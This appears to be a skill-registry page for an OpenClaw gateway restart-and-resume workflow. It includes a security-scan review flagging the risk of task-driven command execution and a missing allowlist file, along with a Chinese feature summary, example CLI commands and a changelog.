Restart Safe Workflow

Safe OpenClaw gateway restart workflow with doctor precheck, checkpoint, restart-health-resume chain, task continuation, reconcile, and user-visible notifica...

Security Scan

The skill is broadly consistent with a safe restart-and-resume workflow, but it can execute host commands/scripts driven by task data and the recommended action-allowlist file is not shipped — review and constrain it before use.

Purpose & Capability

Name/description (safe restart, precheck, checkpoint, resume) match what the code does: it calls an openclaw CLI, performs doctor/checkpoint/restart/health/resume steps, writes per-task state JSON, and sends notifications. The dependencies (openclaw CLI, python3, bash) are appropriate for this purpose. Minor mismatch: the SKILL recommends a config-action-allowlist.txt but that file is not present in the package manifest.

Instruction Scope

The SKILL.md and scripts allow task-driven actions including 'cmd:<command>' and 'script:<path>' which the runtime will execute. The code includes an ACTION_ALLOWLIST_FILE mechanism and mentions a built-in whitelist, but the allowlist file recommended in SKILL.md is not included. If input task data (nextAction) is attacker-controlled or insufficiently validated, arbitrary commands or scripts could run. The scripts do not send data to external HTTP endpoints; visible notifications are sent via the openclaw CLI.

Install Mechanism

No install spec or remote downloads — this is instruction-only with included shell scripts. Nothing is fetched or installed at runtime by the skill itself, which minimizes supply-chain risk.

Credentials

The registry metadata declares no required environment variables, but the scripts make optional use of several env vars (STATE_DIR, ACTION_ALLOWLIST_FILE, NOTIFY_CHANNEL, NOTIFY_TARGET, NOTIFY_ACCOUNT, GATEWAY_RESTART_CMD, etc.). This is proportionate to a restart/notification workflow, but the skill will rely on the local openclaw CLI and whatever credentials/config it uses — those are not declared here. Ensure the openclaw runtime credentials and notify account settings are intentionally configured.

Persistence & Privilege

always=false and the skill does not request permanent platform-wide privileges. It writes state files under STATE_DIR (default ./state/restart) and may spawn detached processes for acceptance runs — this is expected for a detached restart runner. It does not alter other skills' configuration.

What to consider before installing

This skill implements an automated restart-and-resume workflow and will run on-host commands and scripts described in task data (nextAction). Before installing or running: 1) Review and supply a strict ACTION_ALLOWLIST_FILE (the package’s recommended allowlist file is not included) so only safe commands/scripts are permitted. 2) Audit any task files (plan/nextAction inputs) you plan to run to ensure they cannot contain arbitrary 'cmd:' or 'script:' entries from untrusted sources. 3) Ensure the machine's openclaw CLI and its notification/account configuration are secure (the script invokes openclaw message send and gateway/restart/status commands). 4) Run acceptance tests in an isolated environment (or with --no-restart) first to observe behavior. 5) If you need help knowing which commands to allow/deny, ask the skill author for the default allowlist or add a conservative whitelist (only health/status/echo) before enabling real restarts.

能力概览

• 安全重启主链：doctor -> checkpoint -> restart -> health -> resume
• 任务续跑：pendingActions + Action 状态机
• 语义动作：notify-time[:TZ]
• 计划能力：plan / validate（TaskPlan v1）
• 补偿与升级：reconcile + retry_exceeded
• 观测诊断：report --verbose / diagnose
• 一键验收：restart-acceptance.sh（支持 --with-restart，默认自守护 detached）

常用命令

# 安全重启
scripts/restart-safe.sh run --task-id <id> --next "notify:重启完成;notify-time"

# 计划预览 / 校验
scripts/restart-safe.sh plan --task-id <id> --next "notify:ok;notify-time"
scripts/restart-safe.sh validate --tasks-file examples/plan-valid.json

# 摘要 / 诊断
scripts/restart-safe.sh report --task-id <id>
scripts/restart-safe.sh report --task-id <id> --verbose
scripts/restart-safe.sh diagnose --task-id <id>

# 验收
scripts/restart-acceptance.sh
scripts/restart-acceptance.sh --with-restart --notify-channel feishu --notify-target user:<open_id>

推荐发布内容

• SKILL.md
• README.md
• config-action-allowlist.txt
• schemas/taskspec-v1.schema.json
• examples/plan-valid.json, examples/plan-invalid.json
• scripts/restart-safe.sh, scripts/restart-acceptance.sh
• references/restart-safe-sop.md
• references/phase4-rollout-checklist.md

Changelog（最近两次）

• v1.0.2: 完成 Phase3/4，修复 TC10 升级触发，验收支持自守护 detached。
• v1.0.1: 完成 Phase1/2，新增 TaskPlan v1 与状态机能力。